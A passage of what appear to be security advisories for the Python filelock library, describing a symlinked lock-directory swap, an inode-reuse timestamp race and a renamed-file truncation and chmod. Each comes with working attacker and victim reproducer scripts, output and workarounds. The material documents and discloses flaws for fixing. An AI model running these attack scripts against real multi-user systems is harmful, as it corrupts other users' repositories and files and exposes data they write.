SHARED = "/srv/shared" LOCKTREE = f"{SHARED}/app.lock.rw" PROJECT = "/home/victim/project" HEAD = Path(PROJECT, ".git", "HEAD") ASVICTIM = ["runuser", "-u", "victim", "--"] ASATTACKER = ["runuser", "-u", "attacker", "--"] VICTIMWORKER = [ASVICTIM, sys.executable, "/tmp/repro.d/victimworker.py"] ATTACKERSWAPTREE = [ASATTACKER, sys.executable, "/tmp/repro.d/attackerswaptree.py"]
set up: a lock directory anyone may write (0777, no sticky bit), and a git repository only the victim can enter shutil.rmtree(SHARED, ignoreerrors=True) shutil.rmtree(PROJECT, ignoreerrors=True) os.mkdir(SHARED) os.chmod(SHARED, 0o777) subprocess.run([ASVICTIM, "git", "init", "--quiet", PROJECT], check=True) os.chmod(PROJECT, 0o700) headbefore = HEAD.readtext() print("SETUP HEAD:", repr(headbefore))
attackeropenshead = subprocess.run( [ASATTACKER, sys.executable, "-c", f"open({str(HEAD)!r}, 'w')"], captureoutput=True, text=True ) if attackeropenshead.returncode == 0: sys.exit("setup: the attacker can write HEAD directly") print("CONTROL attacker opens HEAD for writing:", attackeropenshead.stderr.strip().splitlines()[-1])
the victim's long-lived worker does job 1; its lock object creates and checks app.lock.rw worker = subprocess.Popen(VICTIMWORKER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True) worker.stdin.write("job 1\n") worker.stdin.flush() print("VICTIM ", worker.stdout.readline().strip()) tree = os.stat(LOCKTREE) print("VICTIM app.lock.rw owner uid", tree.stuid, "mode", oct(tree.stmode & 0o777))
attack: between two jobs, swap in a tree whose gen/ is a symlink to the victim's .git subprocess.run(ATTACKERSWAPTREE, check=True) print("ATTACK app.lock.rw/gen ->", os.readlink(f"{LOCKTREE}/gen"))
control: a new lock object, in a new victim process, checks the planted tree and refuses it freshworker = subprocess.run(VICTIMWORKER, input="job 1\n", captureoutput=True, text=True) print("CONTROL new worker:", (freshworker.stdout + freshworker.stderr).strip().splitlines()[-1]) print("CONTROL HEAD after the new worker:", repr(HEAD.readtext()))
the same worker does job 2 with the lock object that passed the check at job 1 worker.stdin.write("job 2\n") worker.stdin.close() print("VICTIM ", worker.stdout.read().strip()) worker.wait()
check: HEAD of the victim's private repository must still be git's own headafter = HEAD.readtext() print("OBSERVED HEAD:", repr(headafter)) print("OBSERVED .git:", sorted(os.listdir(HEAD.parent))) gitstatus = subprocess.run([ASVICTIM, "git", "-C", PROJECT, "status"], captureoutput=True, text=True) print("OBSERVED git status:", (gitstatus.stdout + gitstatus.stderr).strip().splitlines()[0]) print("BUG" if headafter != headbefore and "filelock-rw/1" in headafter else "OK")
repro.d/attackerswaptree.py
python import os
LOCKTREE = "/srv/shared/app.lock.rw" TARGET = "/home/victim/project/.git" # below a 0700 directory: this user can neither list nor write it
the victim's tree is 0700, but its name lives in /srv/shared, which this user may write (no sticky bit) os.rename(LOCKTREE, f"{LOCKTREE}.aside")
os.umask(0) os.mkdir(LOCKTREE, 0o755) os.mkdir(f"{LOCKTREE}/holders", 0o777) # writable, so the victim's holder record lands and nothing re-runs prepare() os.symlink(TARGET, f"{LOCKTREE}/gen")
repro.d/victimworker.py
python import sys
from filelock import SoftReadWriteLock
lock = SoftReadWriteLock("/srv/shared/app.lock") for job in sys.stdin: with lock.writelock(timeout=30): ... # the job's work on the shared resource print("victim: finished", job.strip(), "and released the lock", flush=True)
Attack sequence
mermaid sequenceDiagram participant A as other local user participant W as worker of the lock user (one lock object) participant F as /srv/shared (0777, no sticky bit) participant T as /home/victim/project/.git (0700) rect rgb(255, 214, 214) Note over A,T: filelock 4.1.0 to 4.2.0 W->>F: job 1, writelock() creates app.lock.rw (0700) with gen and holders, prepare() checks them once, prepared = True W->>F: release, lock object kept A->>F: rename(app.lock.rw, app.lock.rw.aside) A->>F: mkdir app.lock.rw with a world-writable holders, symlink app.lock.rw/gen pointing at /home/victim/project/.git W->>F: job 2, prepare() returns at once, create(holders/token) succeeds in the planted holders W->>T: incarnation() reads gen/epoch through the symlink, finds none, creates .git/epoch W->>T: commit() creates .git/.commit-token, links it to .git/00000000000000000001 W->>T: replace() renames .git/.commit-token over .git/HEAD W->>T: release commits generation 2 and renames over HEAD again Note over W,T: writelock() returned without error, HEAD is now a filelock-rw/1 record, git status says not a git repository end
Evidence
The scanner's reproducer runs as root, drops to victim and attacker through runuser, needs git, changes no sysctl, and takes about half a second. It creates /srv/shared (root-owned, 0777, no sticky bit), has victim run git init /home/victim/project and makes that directory 0700. It then drives two programs. victimworker.py holds one SoftReadWriteLock("/srv/shared/app.lock") with default options; for each line on stdin it takes writelock(timeout=30), releases it and prints finished <job> and released the lock. attackerswaptree.py renames the lock user's app.lock.rw aside, creates a new one with a world-writable holders/, and makes app.lock.rw/gen a symbolic link to /home/victim/project/.git, using only write access to /srv/shared. On the scanned commit it prints:
CONTROL attacker opens HEAD for writing: PermissionError: [Errno 13] Permission denied: '/home/victim/project/.git/HEAD' VICTIM victim: finished job 1 and released the lock VICTIM app.lock.rw owner uid 1000 mode 0o700 ATTACK app.lock.rw/gen -> /home/victim/project/.git CONTROL new worker: RuntimeError: /srv/shared/app.lock.rw/gen exists but is not a directory or is a symlink; refusing to use it CONTROL HEAD after the new worker: 'ref: refs/heads/master\n' VICTIM victim: finished job 2 and released the lock OBSERVED HEAD: '<epoch>\nfilelock-rw/1\ngeneration=2\n' OBSERVED .git: [..., 'epoch', '00000000000000000001', '00000000000000000002', ...] OBSERVED git status: fatal: not a git repository BUG
The CONTROL lines show that the other account cannot reach the repository itself and that a fresh lock object refuses the planted tree. The existing check works; the code does not repeat it for a live instance. The sticky-directory variant ends the same way, with fs.protectedsymlinks=1. There the other account creates app.lock.rw, gen and holders with mode 0777 in a 1777 parent before the lock user's first acquire, then renames its own gen aside and links it to the lock user's .git.
Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #842 stack head: OK, HEAD stays ref: refs/heads/master, .git keeps its original listing and git status answers On branch master. The result is the same with the stack's owner check disabled, so it does not depend on who owns the tree.
Impact
With the lock user's privileges, in any directory the lock user can write, the other user gets a file named HEAD replaced, new files epoch, HEAD and 20-digit generation names created (mode 0600), and files deleted whose names match the protocol's patterns (32 hex digits, 20 digits, .commit-). The bytes written are filelock's own records, not chosen by the other user. Replacing HEAD makes a git repository unusable when the other user knows its path. Renaming <path>.rw away is something this other user may do anyway, and docs/how-to.rst documents the result (a new log starts). What this finding adds is that the lock user's file operations leave the lock's directory.
This is adjacent to GHSA-j8f7-rjxc-mr56 (ReadWriteLock following a symbolic link at its database path, fixed in 4.0.9) and the earlier symbolic link fixes (PR 461 for lock file creation, PR 465 for SoftFileLock, PR 565 for refreshing soft read/write lock markers). Each guards the final path component. Here the link sits at a directory component, which ONOFOLLOW does not cover.
Workarounds
- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a SoftReadWriteLock between accounts through a 0777 or group-writable directory. - In a sticky directory such as /tmp, make sure the locking account creates <path>.rw before anyone else can (for example at install time with mode 0700), and do not use a lock path whose <path>.rw belongs to another account. - Prefer a fresh lock object per unit of work over a long-lived singleton when other accounts can write the lock directory. A fresh object re-runs the directory check and refuses a planted tree.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/842
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 00:46 UTC: draft advisory created - 2026-10-16 01:39 UTC: fix PR #842 opened
SoftFileLock and MarkerSoftFileLock evict an unparsable marker (the lock file at <path>, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. SoftFileLease expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.
Another local user (the other user below) who can create files in the lock's directory, a sticky /tmp included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.
Two of the lock user's processes then run the critical section together with no error. A SoftFileLease waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after leaseduration. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding ANT-2026-RKC48J5B).
Severity
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).
AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's processes act on their own. C:N (no confidentiality impact): the other user reads nothing. I:H (high integrity impact): two holders write the data the lock protects, and neither learns of the other. A:N (no availability impact): the lock keeps working.
Classification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism.
Scope and preconditions
- The other user can create files in the lock's directory; a root-owned 1777 directory is enough. It creates, utimes (sets the timestamps of) and unlinks only its own file. In the sticky directory its unlink, rename, open(..., "w") and utime on a marker of the lock user all fail, and deleting its own file only frees the lock. - The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either. - File timestamps come from a coarse clock whose future values the other user can compute (CLOCKREALTIMECOARSE, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value). - At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, leaseduration). - No symbolic link, hard link or FIFO takes part, so the fs.protected sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. StrictSoftFileLock keys its watch the same way but only raises SoftFileLockProtocolError, so it breaks no lock there.
filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
Affected code
At the scanned commit b831496, the watch is SoftFileLock.markerunchangedfor, with its caller in trybreakstalelock. The MarkerSoftFileLock and SoftFileLease paths hand an unparsable marker to the same code. The re-check in breaklockfile compares the values the contender just read.
Introduced
0f7c4d3794dc ("fix(soft): expire leases on the contender's clock", #796, 2026-10-07), first released in 4.1.0 (verified against the tags). Earlier releases compared the marker's mtime with the wall clock, and this does not affect them.
Mechanism
SoftFileLock.acquire creates the marker with OCREAT | OEXCL (create the file, fail if it exists) and only then writes the holder record. In between it calls fstat and uname, stats /proc/self/ns/pid and reads /proc/<pid>/stat, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. trybreakstalelock reads the marker, finds no holder, and calls breaklockfile(lockfile, mtime, ino) only if markerunchangedfor(mtime, ino) reaches MALFORMEDLOCKAGETHRESHOLD (2.0 s). That function keeps self.markerseen = ((mtime, ino), first seen) across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.
Neither half of the pair belongs to one file. A file's owner sets its mtime to any value with utime, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.
1. While the lock is free, the other user creates an empty file at the lock path (inode I) and sets its mtime to T, a tick of the coarse clock about 2.2 s in the future. 2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records markerseen = ((T, I), first seen). After 2 s each poll calls breaklockfile, whose rename fails with EPERM (operation not permitted; seen with strace): the directory is sticky and the file belongs to the other user. suppress(OSError, ...) swallows the error, the file stays, and nothing resets markerseen. 3. When the coarse clock reaches T, the other user unlinks its file. Inode I is free. 4. Process F of the lock user polls during tick T. Its OEXCL create succeeds, and its marker is inode I with mtime T. 5. Process S polls before F has written its record. It reads an empty file with pair (T, I), markerunchangedfor returns the 2.2 s that S spent watching the other user's file, and S calls breaklockfile(lockfile, T, I). 6. breaklockfile compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed. 7. F writes its record into the unlinked inode and returns from acquire(). The path is empty, so the next contender to poll creates a marker and returns from acquire() too. F's release finds another inode at the path (unlinkopenmarker) and leaves it. Neither holder learns anything.
Step 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick T, and a waiter broke 7 of those 13.
MarkerSoftFileLock and SoftFileLease hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: if owner.mode == "lease" and self.markerunchangedfor(mtime, ino) >= self.leaseduration: breaklockfile(...). markerseen is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair (T, I) has gone unrefreshed for leaseduration, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using SoftFileLease(path, leaseduration=2) and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's oncompromise (the callback that tells a holder it lost the lock) reported owner-changed 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.
Reproduction
The scanner's reproducer for finding ANT-2026-RKC48J5B, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.
repro
python #!/usr/bin/env python3 import os import shutil import subprocess import sys import time
LOCKDIR = "/tmp/locks" LOCKPATH = "/tmp/locks/app.lock" HOLDSLOG = "/tmp/holds.log"
def startvictims(): # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it shutil.rmtree(LOCKDIR, ignoreerrors=True) os.mkdir(LOCKDIR) os.chmod(LOCKDIR, 0o1777) victim = [sys.executable, "/tmp/repro.d/victim.py", LOCKPATH] with open(HOLDSLOG, "w") as holdslog: return [ subprocess.Popen(victim, stdout=holdslog, user="victim", group="victim", extragroups=[]) for in range(10) ]
def holdsenteredafter(moment): holds = [] for line in open(HOLDSLOG): fields = dict(field.split("=") for field in line.split()) hold = {"entered": float(fields["entered"]), "exited": float(fields["exited"]), "line": line.strip()} if hold["entered"] > moment: holds.append(hold) return sorted(holds, key=lambda hold: hold["entered"])
def attackuntiloverlap(phase, dateoffsets, maxattempts): victims = startvictims() attacker = [sys.executable, "/tmp/repro.d/attacker.py", LOCKPATH, str(dateoffsets)] for attempt in range(1, maxattempts + 1): run = subprocess.run(attacker, stdout=subprocess.PIPE, text=True, check=True, user="attacker", group="attacker", extragroups=[]) print(f"{phase} attempt {attempt}: {run.stdout.strip()}", flush=True) unlinkedat = float(run.stdout.split("unlinkedat=")[1]) time.sleep(0.4) # a hold lasts 0.3 s: whoever entered after the unlink has logged it by now
# A hold entered within 1 ms of the unlink can also come from a separate flaw in breaklockfile (see the # report), so those are left out. time.monotonic() is one clock for every process on the machine. holds = holdsenteredafter(unlinkedat + 0.001) overlaps = [(first, second) for first, second in zip(holds, holds[1:]) if second["entered"] < first["exited"]] if overlaps: break for victim in victims: victim.kill() victim.wait() return overlaps
control: the attacker's file is dated an hour after the tick in which it is unlinked control = attackuntiloverlap("CONTROL", dateoffsets=3600, maxattempts=20) attack: the same file dated at that tick, i.e. with the mtime a victim's marker created in that tick gets observed = attackuntiloverlap("OBSERVED", dateoffsets=0, maxattempts=250)
check: no two victims may ever be inside the lock at once for phase, overlaps in [("CONTROL", control), ("OBSERVED", observed)]: print(f"{phase}: {len(overlaps)} time(s) two victims inside the lock at once") for first, second in overlaps: print(f"{phase}: {first['line']}") print(f"{phase}: {second['line']}") print("BUG" if observed and not control else "OK")
repro.d/attacker.py
python #!/usr/bin/env python3 import os import random import sys import time
lockpath, dateoffsets = sys.argv[1], int(sys.argv[2])
CLOCKREALTIMECOARSE = 5 # <linux/time.h>; the kernel stamps new files from it, and it moves once per timer tick tickns = round(time.clockgetres(CLOCKREALTIMECOARSE) 1e9)
take the lock path the moment it is free, like any contender while True: try: fd = os.open(lockpath, os.OCREAT | os.OEXCL | os.OWRONLY, 0o644) break except FileExistsError: time.sleep(0.002)
Left empty for longer than the 2 s filelock gives an unparsable marker. The victims poll every 50 ms: the random part makes some attempts free the path just before one of their polls. parks = random.uniform(2.2, 2.25) releasetick = time.clockgettimens(CLOCKREALTIMECOARSE) + round(parks 1e9 / tickns) tickns mtimens = releasetick + dateoffsets 109 os.utime(fd, ns=(mtimens, mtimens)) inode = os.fstat(fd).stino os.close(fd)
time.sleep(parks - 0.05) while time.clockgettimens(CLOCKREALTIMECOARSE) < releasetick: pass os.unlink(lockpath) # a marker created before the next tick gets mtime == releasetick and, on ext4, this inode unlinkedat = time.monotonic() time.sleep(0.1) # exiting right away keeps a CPU busy during the victims' polls, and overlaps get much rarer print(f"inode={inode} mtimens={mtimens} unlinkedintick={releasetick} unlinkedat={unlinkedat}")
repro.d/victim.py
python #!/usr/bin/env python3 import os import sys import time
from filelock import SoftFileLock
lock = SoftFileLock(sys.argv[1]) while True: with lock: entered = time.monotonic() time.sleep(0.3) # work on whatever the lock protects print(f"pid={os.getpid()} entered={entered} exited={time.monotonic()} islocked={lock.islocked}", flush=True) time.sleep(0.05)
Attack sequence
mermaid sequenceDiagram participant X as other local user participant P as lock path (sticky dir, ext4, 4 ms clock ticks) participant S as process S of the lock user (waiting) participant F as process F of the lock user X->>P: create empty file, inode I, utime to future tick T S->>P: poll: empty file, key (T, I), watch starts Note over S: after 2 s each poll calls breaklockfile, rename gets EPERM, error swallowed, watch keeps counting rect rgb(255, 214, 214) X->>P: at tick T: unlink own file, I is free F->>P: OEXCL create in tick T: inode I, mtime T, record not yet written S->>P: poll: empty file, key (T, I) seen for 2.2 s: breaklockfile(T, I) renames and unlinks F's marker F->>P: writes record into the unlinked inode, acquire() returns Note over S,F: the path is empty, the next contender creates a marker: two holders, no error end
Evidence
The scanner's reproducer runs ten copies of a default-option SoftFileLock program (0.3 s of work per hold, 50 ms between holds) as user victim in a root-owned 1777 directory on overlayfs over ext4 (Linux 6.1, CPython 3.14). A program running as user attacker waits until the lock path is free, creates an empty file there, dates it to a coarse-clock tick 2.2 to 2.25 s ahead, and unlinks it when CLOCKREALTIMECOARSE reaches that tick. Control attempts date the file an hour after the unlink tick (20 attempts, 0 overlaps); the other attempts date it at that tick.
In four runs the overlap came after 9, 12, 27 and 20 attempts. Each showed the hold lines of two victim processes overlapping in time with islocked=True, for example pid=217 entered=241.295272609 exited=241.59542327 and pid=216 entered=241.295518489 exited=241.595641553. 40 of 650 attempts over seven runs ended this way, none with the file dated 4 ms earlier (100 attempts) or an hour later (150). A stepped run (one process stalled 0.2 s between creating its marker and writing its record, one waiting contender) deleted the fresh marker in 3 of 3 trials with the matching date and 0 of 5 with other dates.
Our review ran the reproducer over a loop-mounted ext4 /tmp (the host's btrfs does not hand a freed number back) with inode reuse confirmed (inode 18 reused on every attempt, --cpus 2). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed that utime cannot set the file's change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report's own runs.
Impact
A local user who can create a file in a soft lock's directory, a sticky directory such as /tmp included, gets two processes of another user to hold the same SoftFileLock at once (MarkerSoftFileLock too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its unlink, rename, open(..., "w") and utime on a marker of the lock user all fail, and deleting its own file only frees the lock. For SoftFileLease the effect is a live, refreshed claim taken after milliseconds instead of after leaseduration without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.
Workarounds
Keep soft locks in a directory other users cannot create files in (a 0700 directory of the lock's user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native FileLock works (local ext4 with flock), prefer it over SoftFileLock. Raise pollinterval so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/843
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (finding ANT-2026-RKC48J5B, scanned commit b831496b0273) - 2026-10-16 00:46 UTC: draft advisory created - 2026-10-16 01:42 UTC: fix PR #843 opened
UnixFileLock, the backend of FileLock and AsyncFileLock on Unix, empties whatever regular file it finds at the lock path once it holds the flock (a kernel lock on an open file). With an explicit mode it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next acquire(). A hard link is a second name for the same file. With a mode such as 0o666 the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards.
ONOFOLLOW, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as /tmp needs fs.protectedhardlinks=0, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2).
Anthropic's OSS Scanner reported this in private. Finding covered by this advisory:
- ANT-2026-KO573NWI [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N scores 6.1 (Medium).
AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. I:H (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit mode the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. C:L (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. A:N (no availability impact). S:U (scope unchanged).
Classification from the review: security, conditional on another user controlling names in a non-sticky directory on the lock's filesystem (or on fs.protectedhardlinks=0). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.
Scope and preconditions
- Lock classes: FileLock and AsyncFileLock on Unix (UnixFileLock). SoftFileLock applies an explicit mode only to a file it created with OCREAT | OEXCL and does not truncate an existing file. WindowsFileLock has not truncated at any version. - The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a /tmp cleaner, or after a release with the default preservelockfile=False, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated: - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created 0777 directory); - rename from such a directory into a sticky one (1777) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with EPERM; - link(2) into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means fs.protectedhardlinks=0. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs. - What the lock user loses: with the default FileLock(path) the lock truncates the file, which keeps its mode. With an explicit mode (a lock shared between users needs 0o666 or 0o660, because UnixFileLock opens the file read-write), the lock also chmods the file to that mode. applyexplicitmode suppresses PermissionError only for files the lock user does not own. The lock user owns its own files, so the fchmod succeeds. - Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. - Not affected: a symlink (a file that points at another path) at the lock path, because ONOFOLLOW makes the open fail with ELOOP; mutual exclusion between cooperating processes.
Affected code
Scanned commit b831496b0273: UnixFileLock.finalizelockedfd, whose os.ftruncate and applyexplicitmode calls have only the stnlink != 0 guard (the file still has at least one name); applyexplicitmode; openlockfile, which learns from its OEXCL create whether this attempt made the file but hands that flag only to the ENOSYS fallback.
Introduced
The truncation of whatever is at the lock path dates from the initial commit (2157efb, which opened with OTRUNC). The chmod of a pre-existing inode (the kernel's identity for a file, independent of its name) came with d7e1e84 "changed from os.umask to os.chmod" (#206, 2023-03-22), first tag 3.10.2 (verified with git tag --contains). Before it the code passed the mode only to open(), which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range >= 3.10.0 understated it, as the review noted.
Mechanism
openlockfile first tries os.open(path, ORDWR | ONOFOLLOW | OCREAT | OEXCL, mode). With the lock user's file renamed to the lock path that fails with FileExistsError. The second os.open(path, ORDWR | ONOFOLLOW) succeeds, because the entry is a regular file the lock user owns, and returns created = False. acquirenative passes created only to the ENOSYS branch. No process holds a flock on the renamed file, so lockfdnonblocking(fd) succeeds at once and finalizelockedfd(fd) runs: os.fstat, stnlink != 0, os.ftruncate(fd, 0), then os.fchmod(fd, mode) when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. ONOFOLLOW does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. AsyncUnixFileLock inherits finalizelockedfd unchanged.
The scanner measured three variants at the same commit, same accounts (victim uid 1000, attacker uid 1001). First, a rename within a 0777 directory: the next FileLock("jobs.lock", mode=0o666) of victim empties the 0600 journal of victim renamed to jobs.lock and sets it to 0666; attacker then reads what victim keeps writing through its open descriptor. Second, a rename of a two-name file (ln /tmp/cache/blob ~/env/blob, 0644) from a 0777 directory, fs.protectedhardlinks=1: after mv /tmp/cache/blob /tmp/cache/app.lock and FileLock("/tmp/cache/app.lock", mode=0o666) as victim, ~/env/blob has 2 links, mode 666, 0 bytes and echo pwned >> /home/victim/env/blob as attacker succeeds, in a directory attacker cannot write. Third, os.link(notes, lockpath) in a 1777 directory with fs.protectedhardlinks=0: notes.txt (0644, in the home of victim) ends up 0 bytes with mode 0666, and open(notes, "w") as attacker then succeeds. With plain FileLock(lockpath) a 0600 file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.
Reproduction
The scanner's reproducer for ANT-2026-KO573NWI, quoted as received. It ran against commit b831496b0273.
repro
python #!/usr/bin/env python3 import os import secrets import shutil import stat import subprocess import sys
set up: a directory every user may write, without the sticky bit shared = "/tmp/renamed-lock-file-demo" shutil.rmtree(shared, ignoreerrors=True) os.mkdir(shared) os.chmod(shared, 0o777) journal = f"{shared}/victim-journal.log" lockpath = f"{shared}/jobs.lock"
victim = subprocess.Popen( ["runuser", "-u", "victim", "--", sys.executable, "/tmp/repro.d/victimjobrunner.py", shared], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True, )
def victimruns(job): victim.stdin.write(job + "\n") victim.stdin.flush() assert victim.stdout.readline() == "done\n"
def asattacker(script, argument): command = ["runuser", "-u", "attacker", "--", sys.executable, f"/tmp/repro.d/{script}", argument] return subprocess.run(command, captureoutput=True, text=True, check=True).stdout
before the attack: one job leaves the lock file and a 0600 journal with one line in it victimruns("job 1") journalbefore = os.stat(journal) journalcontentbefore = open(journal).read() attackerreadbefore = asattacker("attackerreadfile.py", journal) print( f"CONTROL journal: inode {journalbefore.stino}, uid {journalbefore.stuid}, " f"mode {stat.SIMODE(journalbefore.stmode):o}, content {journalcontentbefore!r}" ) print(f"CONTROL attacker reads the journal: {attackerreadbefore!r}")
attack asattacker("attackerrenamejournal.py", shared)
the victim takes its lock again, then notes a secret in its journal through the descriptor it holds secret = secrets.tokenhex(8) victimruns(f"job 2 {secret}") victim.stdin.close() victim.wait()
check: the victim's private journal must not be emptied, widened to 0666, or readable by the attacker lockafter = os.stat(lockpath) lockcontentafter = open(lockpath).read() attackerreadafter = asattacker("attackerreadfile.py", lockpath) print( f"OBSERVED lock path: inode {lockafter.stino}, uid {lockafter.stuid}, " f"mode {stat.SIMODE(lockafter.stmode):o}, content {lockcontentafter!r}" ) print(f"OBSERVED attacker reads the lock path: {attackerreadafter!r}")
attackerwasdenied = attackerreadbefore == "permission denied\n" lockpathisthejournal = (lockafter.stdev, lockafter.stino) == (journalbefore.stdev, journalbefore.stino) journalwasemptied = "job 1" in journalcontentbefore and "job 1" not in lockcontentafter journalwaswidened = stat.SIMODE(journalbefore.stmode) == 0o600 and stat.SIMODE(lockafter.stmode) == 0o666 attackerreadsthesecret = secret in attackerreadafter bug = ( attackerwasdenied and lockpathisthejournal and journalwasemptied and journalwaswidened and attackerreadsthesecret ) print("BUG" if bug else "OK")
repro.d/attackerreadfile.py
python import sys
try: print(open(sys.argv[1]).read(), end="") except PermissionError: print("permission denied")
repro.d/attackerrenamejournal.py
python import os import sys
shareddirectory = sys.argv[1]
needs only write access to the directory: no sticky bit, so any user may rename any entry in it os.rename(f"{shareddirectory}/victim-journal.log", f"{shareddirectory}/jobs.lock")
repro.d/victimjobrunner.py
python import os import sys
from filelock import FileLock
shareddirectory = sys.argv[1]
